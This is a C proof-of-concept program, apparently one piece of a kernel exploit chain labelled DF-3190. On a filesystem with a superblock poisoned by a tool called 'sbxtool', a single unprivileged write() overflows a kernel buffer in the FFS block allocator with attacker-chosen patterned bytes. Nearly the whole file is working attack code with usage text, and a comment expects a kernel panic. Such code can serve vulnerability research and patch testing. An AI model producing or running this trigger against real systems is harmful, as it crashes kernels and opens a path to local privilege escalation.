/*
 * trigger.c — DF-3190 unprivileged trigger.
 *
 * One write() of <n> bytes (default: one fs_bsize) to a fresh file on
 * the mounted crafted filesystem.  ffs_balloc sizes the data buffer with
 * fragroundup() — poisoned by sbxtool to round fs_bsize down to one
 * fragment — so this uiomove overruns the kernel buffer by
 * (n - fs_fsize) bytes with this pattern as content.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	unsigned char *buf;
	size_t n;
	ssize_t r;
	int fd, i;

	if (argc < 2) {
		fprintf(stderr, "usage: trigger <file> [bytes]\n");
		return (2);
	}
	n = (argc > 2) ? (size_t)strtoul(argv[2], NULL, 0) : 16384;
	buf = malloc(n);
	for (i = 0; i < (int)n; i++)
		buf[i] = (unsigned char)(0x41 + (i % 26));	/* A..Z */

	printf("[*] trigger: uid=%d file=%s bytes=%zu\n", getuid(),
	    argv[1], n);
	fflush(stdout);

	fd = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY, 0666);
	if (fd < 0) {
		perror("open");
		return (1);
	}
	r = write(fd, buf, n);
	/* not reached on success-panic */
	printf("[*] write returned %zd\n", r);
	if (r < 0)
		perror("write");
	return (0);
}